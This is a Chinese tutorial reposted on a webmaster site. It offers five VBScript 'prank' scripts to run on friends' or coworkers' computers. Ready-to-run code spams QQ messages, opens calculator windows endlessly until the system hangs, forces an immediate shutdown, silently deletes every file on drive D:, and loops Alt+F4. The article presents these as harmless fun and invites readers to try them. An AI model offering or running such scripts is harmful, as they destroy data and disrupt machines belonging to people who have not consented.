加入收藏 | 设为首页 | 会员中心 | 我要投稿 大同站长网 (https://www.0352zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 教程 > 正文

vbs整人代码步骤

发布时间:2022-04-13 11:27:09 所属栏目:教程 来源:互联网
导读:在沉闷的工作环境下,有时玩玩vbs整人代码也不错,整人代码一般使用vbs脚本来实现。简单的两行代码就可以实现。不过大家也要警惕vbs脚本的危险性,下面就为大家收集的比较全,喜欢的朋友可以参考下: vbs整人代码: 一、你打开好友的聊天对话框,然后记下在你
  在沉闷的工作环境下,有时玩玩vbs整人代码也不错,整人代码一般使用vbs脚本来实现。简单的两行代码就可以实现。不过大家也要警惕vbs脚本的危险性,下面就为大家收集的比较全,喜欢的朋友可以参考下:
 
  vbs整人代码:
 
  一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
 
  On Error Resume Next
 
  Dim wsh,ye
 
  set wsh=createobject("wscript.shell")
 
  for i=1 to 10
 
  wscript.sleep 700
 
  wsh.AppActivate("与 xx 聊天中")
 
  wsh.sendKeys "^v"
 
  wsh.sendKeys i
 
  wsh.sendKeys "%s"
 
  next
 
  wscript.quit
 
  二、打开无数个计算器,直到死机
 
  set wsh=createobject("wscript.shell")
 
  do
 
  wsh.run "calc"
 
  loop
 
  三、直接关机
 
  dim WSHshell
 
  set WSHshell = wscript.createobject("wscript.shell")
 
  WSHshell.run "shutdown -f -s -t 00",0 ,true
  
  四、删除D:所有文件
  
  dim WSHshell
 
  set WSHshell = wscript.createobject("wscript.shell")
 
  WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
 
  五、不断按下alt+f4 (开什么都关闭)
 
  dim WSHshell
 
  set WSHshell = wscript.createobject("wscript.shell")
 
  while(1)
 
  WSHshell.SendKeys "%{F4}"
 
  loop
 
  vbs整人代码?以上收集了几种常见的vbs整人代码。感兴趣的也可以尝试下。

(编辑:大同站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!